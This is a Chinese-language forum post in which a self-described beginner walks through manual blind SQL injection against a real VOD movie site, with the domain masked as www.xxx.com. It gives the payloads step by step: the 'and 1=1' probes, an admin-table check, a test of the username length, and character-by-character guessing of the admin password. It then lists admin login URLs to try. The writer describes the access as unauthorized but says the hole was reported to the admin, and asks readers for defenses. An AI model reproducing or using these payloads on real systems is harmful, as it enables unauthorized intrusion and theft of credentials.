首先下载:09月21日的SQL注入技术实例讲解,打开后是网页形式的,看过一次以后拿某网站VOD视频做了一下测试。
首先引用一下教程里的话:“SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 ”
寻找目标,我寻找到了,这里就用www.xxx.com代替吧。
打开一个电影地址,www.xxx.com/film/show.asp?id=271
测试一下www.xxx.com/film/show.asp?id=271 and 1=1
打开了??这步应该是测试可不可以用SQL注入攻击的一个验证吧,(不过我试的那个网站是可以SQL注入攻击的,我到不知道不可以SQL注入攻击会返回什么值)
www.xxx.com/film/show.asp?id=271and 1=2没打开(在教程里面这个写成了_blank>http://www.bofei.net/film/show.asp?id=271?adn 1=2 希望管理员如果看到的话请改一下~~)
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin)这一步是查看是否存在ADMIN列表的,测试以后打开,说明ADMIN列表存在
根据教程测试,测试密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5) 打不开,连接错误,后来跟教程一样试了8,结果也是错误,后来直接图方便把8改成了6,嘿嘿,还是错误,为啥?因为是>而不是=,后来试了几次都没有打开。郁闷了,想,是在哪出错的?后来从新看了一次教程,并把命令粘到了文本文档做比较,哦,原来应该是=,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)
试了一下=以后,结果打开了,说明ADMIN的密码=6位?继续下一步。
猜测用户名
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
直接套这步,没打开,后来苦思N久, 没看懂教程里面的意思,哎,先放着,继续下一步。
寻找站长的名字,当时还是没大看懂这句,网站上N多地方都没有网站站长的名字之类的,继续下一步。
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)=''13月32日'')
我试了次,当然打不开,2个站的站点ADMIN怎么能一样内,嘿嘿。当时没有理解这个的意思,我又继续了下一步。我虽然不理解这句的意思,但是我稍微知道,13月32日,就是站长的ID,(username,6)就是站长的名字=6位长的意思。(不知道这样理解对不对呀如果不对请指出)
猜测密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
这步他直接猜测完了,他的密码是6位数,然后密码是100200,这步的步骤。
第1步应该猜测第1位数的密码,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)=''1'')
''1''?应该把这个''''号里的1,从0-9,A-Z试一次,如果失败,会打不开,直到成功了,就会正打开,而且没有错误提示。这句我只能理解括号里面的,(password,1)=''1'')这句理解成: 密码的第1位数=1
试完第1个密码该试第2个密码了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,2)=''10'')
因为我已经站点第1个密码是1了所以不用动第1位数了,这次也是从0-9,A-Z试一次,这步完了就该第3步了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,3)=''100'')
依次第6步就应该是
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
因为先前已经知道他的密码长度是6位了,然后他的管理员ID也依照这个方法来查
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
(username,1)=''1'') 这句理解成:第1个名字的是:1
依次查出管理员名称,
pass:如果管理员名字改成汉字,那半年也猜不错吧?不知道能不能用汉字?:(
试出管理员密码,然后试登陆页面,3个地址
www.xxx.com/film/adminlogin.asp
www.xxx.com/film/login.asp
www.xxx.com/film/admin/login.asp
大概会应该有一个能进入的,然后用你刚才查到的管理员ID和PASSWORD进入。
好了,可以随意浏览了,我进入了一下,没什么好看的,我自己也有自己的站点,我要想看,自己下一个看算了,而且我和这个网站的管理员关系很好,如果我想看里面的电影,他会传到开设到我帐户的FTP里,然后我自己下载就可以看了,所以我已经把这个漏洞告诉他了,剩下的就是他们的办法了,由于偶还是菜菜,偶不会清楚自己的PP,55,我也很诚实的告诉了他,而且我也没动里面任何客户的资料,没添加任何一个客户的时间卡,我想我这个善意的举动,他们不会对我做什么惩罚吧?(第1次做这个事,不知道能不能算的上hacker的举动,我没用任何工具,全靠手慢慢猜的)如果他们惩罚我我可就完了,这个VOD视频网站的上头,就是我们当地的宽带公司,我们这里只有电信和网通2家,电信是刚起家的接入的地方比较少,网通给我停网了,恐怕以后我就不能在家上网了,555。
这个方法,现在能成功的ASP电影网站恐怕很少了,因为我们这里相对网络技术比较落后一些,他们的网络安全观念比较淡薄,所以这次还是会很顺利的进入了他们的电影网站,我想如果他们进入数据库里,类似做论坛一样,随便改几个数据库中的连接,就可以直接解决这个问题了,起码你没有他服务器的权限,你就不知道他的ADMIN管理进口在哪。
也希望各位高手说一下,就当帮小的一个忙,如果象我说的那种情况,有什么方法可以阻止别人象我这样利用SQL攻击而获得ADMIN帐号?会的请跟贴说一下,谢谢了。(别叫人整个ASP都删掉哟)??
希望各位高手大大都把自己第1次觉得自己做的成功的事,发上来,对于新手的学习,会起到很大的作用的。